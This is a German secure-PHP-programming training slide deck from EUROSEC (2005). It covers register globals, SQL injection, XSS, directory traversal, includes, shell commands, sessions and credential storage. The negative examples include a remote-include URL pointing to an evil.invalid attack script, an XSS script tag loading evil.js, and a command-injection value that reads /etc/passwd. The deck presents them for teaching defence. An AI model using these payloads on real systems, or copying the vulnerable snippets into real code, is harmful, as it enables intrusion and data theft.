

# PHP-Programmierung: Sicherheitsaspekte

EUROSEC GmbH Chiffriertechnik & Sicherheit  
Tel: 06173 / 60850, [www.eurosec.com](http://www.eurosec.com)

© EUROSEC GmbH Chiffriertechnik & Sicherheit, 2005

# Überblick

- Register-Globals-Option
- Filterung von Benutzereingaben
  - Magic-Quotes-Option
  - Datenbanken und SQL
  - Cross-Site-Scripting
  - Dateioperationen
  - Shell-Kommandos
- Session-Management
- Schutz von Datenbankzugangsdaten
- Fehlermeldungen
- Prüfmethode

# Register Globals

- Option des PHP-Interpreters
  - Vor Version 4.2.0 ist Register Globals per Default eingeschaltet
- Erzeugt globale Variablen für Benutzereingaben
  - Diverse Umgebungsvariablen
  - Parameter aus HTTP-GET-Requests
  - Parameter aus HTTP-POST-Requests
- Probleme
  - Gefährlich in Kombination mit uninitialisierten Variablen
    - Angreifer können diese Variablen mit beliebigen Werten initialisieren
  - Ursprung von Variablen nicht offensichtlich
    - Benutzereingabe oder globale Variable aus Include-Datei?
- Alternative zu Register Globals
  - Seit Version 4.1.0 Zugriff auf Benutzereingaben über globale Arrays `$_GET`, `$_POST`, etc.

# Register Globals: Beispiel

- Negativbeispiel:

```
if (authenticated_user()) {  
    $authorized = true;  
}  
if ($authorized) {  
    include "/sensitive/data.php"  
}
```

- Angriff

- <http://www.example.com/script.php?authorized=true>
- Variable `authorized` wird mit `true` initialisiert
- Geschützte Seite wird angezeigt

# Magic Quotes

- Globale Funktion des PHP-Interpreters
  - Wird auf alle Benutzereingaben angewandt (standardmäßig deaktiviert)
- Funktionsweise
  - Ersetzt ', ", \ und NULL durch \', \", \\
  - Soll insbesondere SQL-Injection verhindern
- Probleme
  - Gaukelt u.U. falsche Sicherheit vor, hilft z.B. nicht gegen Cross-Site Scripting: `<script src=http://example.com/evil.js>`
  - Führt leicht zu doppeltem Escaping (programmatisch + Magic Quotes)
  - Schutz hängt von Konfiguration des PHP-Interpreters und nicht von der Programmierung ab
- Empfehlungen
  - Funktion abschalten
  - Stattdessen spezialisierte Escape-Funktionen verwenden

# Datenbankanbindung: SQL-Injection

- Vorbeugen von SQL-Injection durch Verwendung spezieller Escape-Funktionen und Prepared Statements
- Datenbankspezifische Escape-Funktionen gegen SQL-Injection
  - `mysql_real_escape_string()`
  - `mysql_escape_string()`
  - `pg_escape_string()`
  - `pg_escape_bytea()`
  - und andere...
- Generische Escape-Funktion
  - `addslashes()`
- PEAR-Paket DB
  - Bibliothek für Datenbankzugriff
  - Einheitliche Schnittstelle für verschiedene Datenbanksysteme
  - Unterstützt Prepared Statements und emuliert diese falls nötig
  - Führt spezifisches Escaping je nach verwendetem DBMS durch

# Schutz gegen Cross-Site-Scripting

- Problem Cross-Site-Scripting
  - Einschleusen von JavaScript in Output
  - Ursache ist fehlende Filterung von Benutzereingaben
- Schutzmaßnahmen
  - Konvertieren von Sonderzeichen in HTML-Entities: < wird zu &lt;
  - Vollständiges entfernen von HTML-Tags
- Bibliotheksfunktionen für Filterung
  - `htmlspecialchars()`
  - `htmlentities()`
  - `strip_tags()`
- Empfehlung
  - Mittels Bibliotheksfunktionen Sonderzeichen umwandeln oder HTML-Tags vollständig entfernen

# Directory Traversal (1)

- Umgehen von Pfadbeschränkungen
- Negativbeispiel

```
function insufficientBaseDirCheck($basedir, $inputpath){  
    if (strncmp($basedir,  
                $inputpath,  
                strlen($basedir)) == 0) {  
        return true;  
    }  
    else {return false; }  
}
```

## – Probleme

- Kein Schutz vor Pfaden wie /public/../secret/file.txt
- Kein Schutz vor Kodierung in Unicode o.Ä.

# Directory Traversal (2)

- Filterung notwendig
  - Konvertierung in kanonischen Pfadname ohne ../
  - Konvertierung in normalisierten Zeichensatz
- Bibliotheksfunktionen
  - `realpath()`
  - `basename()`
  - `dirname()`
- Empfehlungen
  - Pfad mit `realpath()` normalisieren
  - Zerlegung mit `basename()` und `dirname()`

# Includes

- Include-Statement
  - Fügt PHP-Code aus externer Datei ein
  - Potentielles Ziel für Code-Injection
- Negativbeispiel
  - `include $_GET['include_file'];`
  - Normale Verwendung:  
`http://www.example.com/script.php?include_file=index.inc`
  - Angriff:  
`http://www.example.com/script.php?include_file=http%3A//evil.invalid/at_tack_script.php`
- Empfehlungen
  - Benutzereingabe als direkten Parameter für Include-Statement vermeiden
  - Transparenten Zugriff auf Netzwerkdateien abschalten (verhindert Nachladen von Code)

# Shell-Kommandos

- Kommando-Ausführung aus PHP heraus
  - Benutzereingaben können u.U. das Verhalten des Programms modifizieren
- Negativbeispiel
  - `exec('ls ' . $_GET['directory']);`
  - Wähle `directory = ';' cat /etc/passwd'`
- Kritische Funktionen
  - `exec()`
  - `passthru()`
  - Backticks-Operator
  - `system()`
  - `popen()`
- Verfügbare Escape-Funktionen zur Verhinderung unerwünschter Kommando-Ausführung
  - `escapeshellcmd()`
  - `escapeshellarg()`

# Allgemeine Funktionen für Input-Filterung

- Operatoren für Typkonvertierung
  - (int), (integer)
  - (bool), (boolean)
  - (float), (double), (real)
  - (string)
- PHP-Funktionen
  - ctype\_alnum()
  - ctype\_alpha()
  - ctype\_digit()

# Session-Management

- PHP bietet eingebauten Mechanismus für Session-Management
  - Sicherheit hängt aber von richtiger Verwendung ab
  - Hauptprobleme sind Session-Fixation und schlechter Schutz der Sessiondaten
- Funktionsweise
  - Hauptfunktion: `session_start()`
  - Prüft ob Request eine Session-ID beinhaltet
  - Falls ja, werden Daten existierender Sessions in `$_SESSION` verfügbar gemacht
  - Falls nein, wird neue Session-ID samt Session-Objekt erzeugt

# Session-Management: Session-Fixation

- Problemfall
  - Request mit Session-ID zu der kein Session-Objekt existiert
  - PHP-Interpreter erzeugt stillschweigend ein passendes Session-Objekt
  - Konsequenz: Client kann Sessions mit beliebiger ID erzeugen
  - In Kombination mit Session-ID in URL ist Session-Fixation möglich
- Notwendige Schutzmaßnahme
  - Anwendung muss vor der Anmeldung die Session-ID ändern (mit PHP-Funktion `session_regenerate_id()`)

# Session-Management: Schutz der Session-Daten (1)

- Standardmechanismus für PHP-Sessions
  - Pro Session Dateien im Dateisystem
  - Dateiname enthält Session-ID
  - Standard-Speicherort: Temp-Verzeichnis
  - Problem: Sichtbarkeit der Datei insbesondere in Shared-Hosting-Szenarien
- Bessere Konfiguration
  - Spezielles Verzeichnis mit eingeschränkten Berechtigungen
  - Aber PHP-Interpreter läuft meist mit Rechten des Web-Servers
    - Daher Trennung zwischen virtuellen Hosts schwierig
  - Lösungsansatz auf Ebene des PHP-Interpreters: Safe Mode

# Session-Management: Schutz der Session-Daten (2)

- Alternative
  - Verwahrung der Session-Daten in Datenbank
  - Strikte Trennung zwischen Anwendungen möglich
  - Definition von eigenen Verwaltungsfunktionen nötig
    - Schnittstelle: `session_set_save_handler()`
  - Nachteil: höherer Programmieraufwand und komplexere Infrastruktur
- Empfehlung
  - Speicherung der Session-Daten in Datenbank
  - Getrennte Datenbanken für verschiedene Anwendungen
  - Session-Daten im Dateisystem nur bei geeigneten Zugriffsbeschränkungen oder bei dedizierten Hosts pro Anwendung

# Datenbankanbindung: Schutz der Zugangsdaten (1)

- Problem: Sichere Aufbewahrung der Datenbank-Zugangsdaten
- Naive Lösung
  - Definition von Variablen für Benutzername, Passwort, Hostname in Datei db.inc
  - Einbinden über „include db.inc“
  - Problem: Datei ist öffentlich verfügbar (z.B. <http://example.com/db.inc>)
- Bessere Lösung
  - Konfiguration über Konfigurationsdatei des Webservers

# Datenbankanbindung: Schutz der Zugangsdaten (2)

- Apache-spezifische Variante
  - Datei mit Besitzer root und Rechten 0600

```
php_admin_value mysql.default_host = hostname
php_admin_value mysql.default_user = username
php_admin_value mysql.default_password = password
```
  - Einlesen in httpd.conf

```
Include "/path/to/file-with-db-credentials"
```
  - Apache liest Config-Datei als root
  - Credentials sind für PHP-Skript nur indirekt verfügbar
  - Spezifisch für Webserver und Datenbanksystem

# Datenbankanbindung: Schutz der Zugangsdaten (3)

- Allgemeine Variante
  - Umgebungsvariablen des Webserver

```
SetEnv DB_HOST "hostname"
SetEnv DB_USER "username"
SetEnv DB_PASS "password"
```
  - Zugriff über `$_SERVER['DB_USER']`
  - Sicherheitsproblem bei Verwendung von Aufrufen wie `phpinfo()` oder `print_r($_SERVER)`

# Fehlermeldungen und Debug-Informationen

- Benutzer sollten keine detaillierten Fehlermeldungen sehen
- Empfehlungen
  - PHP-Fehlermeldungen im Output abschalten
  - Nur generische Fehlerseite ausliefern
  - PHP-Fehler in Logfile erfassen
  - Niedriges Loglevel für Warnmeldungen wählen
- Relevante Optionen
  - `error_reporting = E_ALL`
  - `display_errors = off`
  - `log_errors = on`
  - `error_log = <log_target>`

# Prüfmethoden (1)

- Automatisierte Analyse des Quellcodes
  - Beispiel: RATS
  - Finden potentiell gefährliche Funktionen wie `exec()` oder `fopen()`
  - Prüfung der Inputvalidierung muss manuell erfolgen
- Fehlende Inputvalidierung nur in trivialen Fällen automatischen Tools erkennbar
  - `include $_GET['page'];`
  - `exec('rm ' . $_POST['filename']);`
- Probleme liegen oft auf anderen Ebenen
  - Konfiguration (z.B. Register-Globals-Option)
  - Unsichere Anwendung von Standardmechanismen (z.B. Session-Management)

# Prüfmethoden (2)

- Automatische Tools sind nur Hilfsmittel
- Manuelle Prüfung
  - Allgemeine Interpreter-Konfiguration
  - Validierung von Benutzereingaben
  - Verwendung von Standardmechanismen

# Zusammenfassung und Fazit (1)

- PHP aus Sicherheitssicht
  - Enthält inhärent unsichere Mechanismen
  - Mittlerweile sind sichere Alternativen implementiert
  - Aus Kompatibilitätsgründen sind alte Mechanismen immer noch vorhanden und auch oft eingeschaltet
  - Problem in Shared-Hosting-Szenarien: PHP-Interpreter läuft als Apache-Modul mit Webserver-Rechten

# Zusammenfassung und Fazit (2)

- Grundlegende Maßnahmen für sichere PHP-Programme
  - Register Globals abschalten
  - Magic Quotes abschalten
  - Verwenden von PHP-Funktionen für Inputfilterung
  - Transparenten Zugriff auf Dateien im Netzwerk abschalten
  - Inputfilterung über explizite Datentypkonvertierung
  - Bei Login neue Session-ID generieren
  - Session-Daten in Datenbank speichern
  - Anzeige von Fehlermeldungen abschalten und stattdessen Logging mit niedrigem Loglevel in Datei aktivieren



# Anhang

# Warum dieser Vortrag von uns?

## - Unsere Erfahrung:

- mehrere Personenjahre in Forschungsprojekten zur sicheren Softwareentwicklung; derzeit gemeinsam mit Partnern wie SAP, Commerzbank, Universitäten, ...
- zahlreiche Schwachstellenanalysen für Softwarehersteller, nebst intensiver Feedbackzyklen mit den Entwicklern
- Erstellung von Anforderungs- und Designspezifikationen in mehreren großen Entwicklungsprojekten
- Erstellung von Guidelines zur sicheren Softwareentwicklung, mit Schwerpunkten Banking & Finance, sowie Webapplikationen
- Reverse Engineering und Gutachten von Sicherheitsfunktionen und Kryptomechanismen
- Implementierung von Sicherheitsfunktionen im Auftrag

# Abschlussbemerkung

- die vorliegende Dokumentation wurde von EUROSEC erstellt im Rahmen des secologic Forschungsprojekts, Laufzeit 2005 und 2006, nähere Informationen unter [www.secologic.org](http://www.secologic.org)
- wir bedanken uns beim Bundesministerium für Wirtschaft für die Förderung dieses Projektes
- Anregungen und Feedback sind jederzeit willkommen, ebenso Anfragen zu Sicherheitsaspekten, die hier nicht behandelt werden konnten.

# Copyright Hinweis

- Diese Folien wurden von EUROSEC erstellt und dienen der Durchführung von Schulungen oder Seminaren zum Thema Sichere Anwendungsentwicklung, mit Fokus Webapplikationen.
- Wir haben diese Folien veröffentlicht, um die Entwicklung besserer Softwareprodukte zu unterstützen.
- Die Folien dürfen gerne von Ihnen für eigene Zwecke im eigenen Unternehmen verwendet werden, unter Beibehaltung eines Herkunftshinweises auf EUROSEC.
- Eine kommerzielle Verwertung, insbesondere durch Schulungs- oder Beratungsunternehmen, wie beispielsweise Verkauf an Dritte oder ähnliches ist jedoch nicht gestattet.